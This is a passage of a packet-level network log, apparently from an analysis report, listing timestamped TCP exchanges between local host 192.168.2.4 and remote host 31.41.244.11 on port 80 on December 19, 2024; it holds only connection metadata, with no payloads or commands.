Dec 19, 2024 20:11:21.289136887 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.289760113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.289820910 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.291059017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.291071892 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.291115999 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.292834997 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.294177055 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.294248104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.294840097 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.294857979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.294903994 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.296704054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.296849012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.296896935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.298682928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.299020052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.299066067 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.300649881 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.300700903 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.301084995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.302460909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.302553892 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.302956104 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.303002119 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.304502964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.304693937 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.304744005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.306394100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.306476116 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.306663036 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.308366060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.308418989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.308933020 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.310269117 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.310323000 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.311167955 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.311211109 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.312320948 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.312388897 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.312468052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.314186096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.314245939 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.314558983 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.316127062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.316184998 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.316641092 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.318078041 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.318136930 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.318172932 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.318455935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.320228100 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.320272923 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.320352077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.320403099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.322074890 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.322151899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.322173119 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.322257042 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.323883057 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.324011087 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.324495077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.324561119 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.325866938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.326077938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.326126099 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.327729940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.327872038 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.327924013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.329673052 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.329802990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.329854965 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.331543922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.331698895 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.331744909 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.333501101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.333585024 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.334006071 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.334503889 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.335473061 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.335637093 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.335661888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.335694075 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.337387085 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.338361979 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.338418007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.339363098 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.339520931 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.339565992 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.341567039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.341619968 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.341911077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.342472076 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.343215942 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.343370914 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.343439102 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.345201015 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.345371962 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.345432997 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.347121954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.347352028 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.347410917 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.349196911 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.349461079 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.349517107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.351118088 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.351258039 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.351305962 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.352950096 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.353013039 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.353190899 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.354463100 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.355120897 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.355376005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.355412960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.356832027 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.356898069 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.356937885 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.358802080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.359299898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.359342098 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.360862970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.360907078 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.360971928 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.362459898 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.362633944 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.362679005 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.362701893 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.362740040 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.364650011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.364708900 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.365952969 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.366456032 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.366508961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.366552114 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.367041111 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.367084026 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.368438959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.368485928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.369106054 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.370379925 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.370421886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.370539904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.370857954 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.372659922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.373256922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.373305082 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.374381065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.374408960 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.374492884 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.376308918 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.376355886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.377068043 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.378145933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.378230095 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.378444910 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.380094051 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.380160093 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.470202923 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.470299959 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.470427990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.471193075 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.471234083 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.471293926 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.472851038 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.472944975 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.473354101 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.473503113 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.473547935 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.475033998 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.475205898 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.475265026 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.476777077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.476855040 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.476905107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.478657007 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.478863955 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.478919029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.480030060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.480340004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.480386019 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.481575012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.481750011 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.481791019 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.483499050 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.483879089 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.483932972 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.484836102 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.485330105 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.485374928 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.486316919 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.486438990 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.486460924 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.486489058 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.487925053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.487977028 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.488135099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.489475012 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.489500046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.489676952 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.489717960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.490940094 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.491348982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.491406918 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.492405891 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.492484093 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.492862940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.493973970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.494016886 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.494118929 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.495394945 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.495448112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.496242046 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.496927977 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.496974945 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.497240067 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.498456955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.498508930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.499001026 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.499046087 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.499876022 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.499974966 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.500030041 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.501276016 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.501477957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.502166986 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.502752066 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.502798080 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.504146099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.504163980 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.504215956 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.504260063 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.504484892 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.505481958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.506412983 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.506452084 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.506936073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.507021904 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.507064104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.508240938 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.508296013 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.508388996 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.509829044 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.509869099 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.509879112 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.509910107 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.511084080 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.511204004 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.511246920 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.512440920 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.512662888 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.512715101 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.513904095 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.514081001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.514126062 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.515348911 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.515491009 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.515536070 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.516696930 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.516716003 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.516755104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.518105984 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.518460989 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.519289017 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.519530058 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.519571066 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.519879103 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.520859957 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.520919085 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.520947933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.522248983 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.522303104 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.522380114 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.522423029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.523643970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.523889065 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.523932934 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.525057077 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.525249958 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.525304079 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.526443005 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.527230024 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.527281046 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.527920961 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.528301001 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.528345108 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.529369116 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.529419899 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.529572964 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.530461073 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.530827045 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.530869007 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.531229973 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.531270981 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.532299995 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.532341957 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.532756090 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.533720970 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.533777952 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.535063982 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.535367012 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.535378933 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.535415888 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.535429955 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.536423922 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.536468029 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.536535978 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.536571980 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.537781954 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.537857056 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.538037062 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.538475990 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.539058924 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.539100885 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.539266109 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.539319992 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.540545940 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.540590048 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.540740013 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.540780067 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.541903019 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.541961908 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.542144060 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.542458057 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.543246031 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.543709993 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.543751001 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.544702053 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.544744968 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.544789076 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.546032906 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.546458960 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.546472073 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.547017097 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.662396908 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.662497044 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.662923098 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.662938118 CET	80	49794	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:21.662971973 CET	49794	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:21.663001060 CET	49794	80	192.168.2.4	31.41.244.11
